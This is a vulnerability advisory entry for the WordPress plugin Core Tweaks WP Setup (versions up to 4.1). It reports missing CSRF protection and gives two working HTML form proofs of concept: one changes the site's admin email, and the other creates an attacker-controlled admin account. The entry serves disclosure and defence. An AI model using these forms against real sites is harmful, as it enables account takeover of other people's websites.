WordPress Plugin Vulnerabilities

Core Tweaks WP Setup <= 4.1 - Arbitrary Admin Account Creation / Admin Email Update via CSRF

Description

The plugin allows to bulk-set many settings in WordPress, including the admin email, as well as creating a new admin account. There is no CSRF protection in place, allowing an attacker to arbitrary change the admin email or create another admin account and takeover the website via CSRF attacks

Proof of Concept

Change current admin email (then attacker can request a password change via the login form)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="email_2" value="ON" />
      <input type="hidden" name="admin_email" value="attacker@localhost.org" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Add a new admin account:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="new_user" value="ON" />
      <input type="hidden" name="new_login" value="admin-csrf" />
      <input type="hidden" name="new_pass" value="Passw0rd" />
      <input type="hidden" name="new_email" value="attacker@localhost.org" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Francesco Carlucci
Submitter
Francesco Carlucci
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-10-21 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other